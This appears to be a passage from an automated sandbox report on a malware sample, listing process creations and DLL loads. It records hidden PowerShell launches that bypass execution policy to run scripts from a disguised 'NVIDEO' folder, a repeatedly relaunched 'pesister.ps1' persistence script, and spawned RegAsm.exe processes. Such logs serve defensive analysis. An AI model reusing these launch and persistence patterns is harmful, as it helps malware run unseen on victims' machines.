                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\iyvmd.ps1'Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1'Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\iyvmd.ps1"Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Start-Sleep -Seconds 1 ; powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\pesister.ps1"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Roaming\pesister.ps1
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Start-Sleep -Seconds 1 ; powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\pesister.ps1"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Roaming\pesister.ps1
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Start-Sleep -Seconds 1 ; powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\pesister.ps1"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Roaming\pesister.ps1
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Start-Sleep -Seconds 1 ; powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\pesister.ps1"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Roaming\pesister.ps1
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Start-Sleep -Seconds 1 ; powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\pesister.ps1"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Roaming\pesister.ps1
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1"
                  Source: C:\Windows\System32\wscript.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: jscript.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: iertutil.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: wshext.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: scrobj.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: mlang.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: propsys.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: edputil.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: urlmon.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: srvcli.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: netutils.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: wintypes.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: appresolver.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: bcp47langs.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: slc.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: sppc.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: pcacli.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeSection loaded: sfc_os.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
